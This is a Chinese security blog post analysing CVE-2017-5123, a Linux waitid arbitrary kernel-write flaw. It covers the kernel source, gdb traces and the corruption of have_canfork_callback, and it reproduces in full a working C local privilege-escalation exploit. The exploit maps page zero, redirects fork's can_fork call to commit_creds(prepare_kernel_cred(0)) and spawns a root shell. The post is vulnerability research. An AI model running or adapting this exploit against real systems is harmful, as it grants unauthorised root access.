查看原文
其他

CVE-2017-5123 waitid本地提权分析

obfuscation 看雪学院 2019-05-26


最近研究linux kernel pwn的时候发现网上有的文章对cve-2017-5123的分析存在错误,就想着自己复现一下写篇博客,最简单的利用 exp 无 smep。


漏洞代码分析


waitid源码

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
       infop, int, options, struct rusage __user *, ru)
{
   struct rusage r;
   struct waitid_info info = {.status = 0};
   long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
   int signo = 0;
   if (err > 0) {
       signo = SIGCHLD;
       err = 0;
   }
   if (!err) {
       if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
           return -EFAULT;
   }
   if (!infop)
       return err;
   user_access_begin();
   unsafe_put_user(signo, &infop->si_signo, Efault);
   unsafe_put_user(0, &infop->si_errno, Efault);
   unsafe_put_user((short)info.cause, &infop->si_code, Efault);
   unsafe_put_user(info.pid, &infop->si_pid, Efault);
   unsafe_put_user(info.uid, &infop->si_uid, Efault);
   unsafe_put_user(info.status, &infop->si_status, Efault);
   user_access_end();
   return err;
Efault:
   user_access_end();
   return -EFAULT;
}


内核定义了一系列函数与用户态内存进行交互,包括copy_from_user ,copy_to_user,put_user等,这些函数中会调用access_ok检查传入的地址是否属于用户区,之后调用user_access_begin() user_access_end分别开启和禁用smap。


为了减少检查开销,linux内核定义了unsafe_put_user函数,但waitid在调用前没有进行access_ok检查,因此可以传入内核地址,任意内核写,但是利用条件会将第一个int写为0x11,第二个int写为0.因此采取的方法是改写have_canfork_callback变量。


将其第一个字节改为0x11进而执行未定义的can_fork,并mmap 0地址,写入shellcode。完成提权。 此次利用必须在关闭了mmap_min_addr 和 smep保护的前提下。  


参照github上的利用代码进行分析:


  • https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c



fork利用过程


fork源码分析


fork系统调用最终会调用do_fork,在do_fork中,会调用copy_process函数为子进程复制一份进程信息。


copy_process源码中调用了cgroup_can_fork函数。





cgroup_can_fork函数中调用了do_each_subsys_mask():



do_each_subsys_mask会调用for_each_set_bit函数:



for_each_set_bit会调用find_first_bit和find_next_bit,会搜索传入的have_canfork_callback变量,最终返回值ssid是位图中小于cgrou_subsys_count的最后一位1的索引值。


cgroup_subsys是一个全局的cgroup_subsys struct的数组,其中保存了一系列函数指针。cgroup需要用户自定义,未定以,其can_fork函数指针为null。


cgroup_can_fork也不会调用cgroup_subsys的can_fork,而是直接返回0。但是waitid将第一个字节改写为0x11 即010001。


默认的CGROUP_SUBSYS_COUNT值为4,因此会调用第一个cgroup_subsys的canfork,即0地址。此时,利用代码mmap了0地址,并将shellcode放置在0地址处,fork即可劫持控制流,完成提权。



具体调试过程:


  • 采用qume起系统,gdb调试;

  • 用这个脚本生成kallsyms;

  • 在kallsyms中搜索cgroup_can_fork地址,并在gdb中下断点。




随便运行一条命令,bash会调用fork,在我们的断点处停下,查看汇编代码:



0xffffffff81f3f45a处即为全局变量have_canfork_callback变量。之后打印调用了find_first_bit之后的返回值。


可以看到,如果返回值大于三即跳转到结束处。可见cgroup_subsys全局数组的数量默认是4个。如果小于3,继续执行:



r12的值为0xffffffff81e4bb60,为全局cgroup_subsys数组:



普通的fork默认是没有定义cgroup的can_fork,因此have_canfork_callback的值为0x0000000000,其返回值为4,因为传入的参数为4,大于3,直接跳转至结束处:





当利用waitid漏洞之后,再看全局变量:



全局变量已经变为0x11,即10001,调用find_first_bit返回值变为0x0:


查看第一个cgroup_subsys的can_fork(偏移量0x50):




发现已经是0x000


利用脚本分析


本次分析的是github上的漏洞利用代码:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>

struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
 char *argv[] = {"/bin/sh", NULL};
 
 if (getuid() == 0){
   printf("[+] Root shell success !! :)\n");
   execve("/bin/sh", argv, NULL);
 }
 printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
 if (commit_creds && prepare_kernel_cred)
   commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[256];
 int ret = 0;
 
 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
   printf("[-] Failed to open /proc/kallsyms\n");
   exit(-1);
 }
 printf("[+] Find %s...\n", name);
 while(ret != EOF) {
   ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
   if (ret == 0) {
     fscanf(f, "%s\n", sname);
     continue;
   }
   if (!strcmp(name, sname)) {
     fclose(f);
     printf("[+] Found %s at %lx\n", name, addr);
     return addr;
   }
 }
 fclose(f);
 return 0;
}

int main(int ac, char **av)
{
   static const unsigned char shellcode[] = {
       0xFF, 0x24, 0x25, 0x08, 0x00, 0x00, 0x00, 0x00,
   };

   if (ac != 2) {
       printf("./exploit kernel_offset\n");
       printf("exemple = 0xffffffff81f3f45a");
       return EXIT_FAILURE;
   }

   // 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
   prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
   commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
   // have_canfork_callback offset <= rendre dynamique aussi
   
   pid_t     pid;
   /* siginfo_t info; */

   // 1 - Mapper la mmoire  l'adresse 0x0000000000000000
   printf("[+] Try to allocat 0x00000000...\n");
   if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
       printf("[-] Failed to allocat 0x00000000\n");
       return -1;
   }
   printf("[+] Allocation success !\n");

   memcpy(0, shellcode, sizeof(shellcode));
   *(unsigned long*)sizeof(shellcode) = (unsigned long)get_root;

   if(-1 == (pid = fork())) {
       perror("fork()");
       return EXIT_FAILURE;
   }

   if(pid == 0) {
       _exit(0xDEADBEEF);
       perror("son");
       return EXIT_FAILURE;
   }

   siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
   waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
   pid = fork();
   printf("fork_ret = %d\n", pid);
   if (pid > 0)
       get_shell();
   return EXIT_SUCCESS;
}


简单说一下流程——mmap 0地址,之后将shellcode放入:


  • 0xFF, 0x24, 0x25, 0x08,


  • 并将getroot的地址放入,直接跳转到getroot执行,


  • 之后调用system在root下产生一个shell,完成提权。



参考:


  • https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c


  • https://paper.seebug.org/451


  • http://blog.luoyuanhang.com/2015/07/27


- End -


看雪ID:obfuscation            

https://bbs.pediy.com/user-799291.htm



本文由看雪论坛 obfuscation 原创

转载请注明来自看雪社区




热门技术文章推荐:






戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存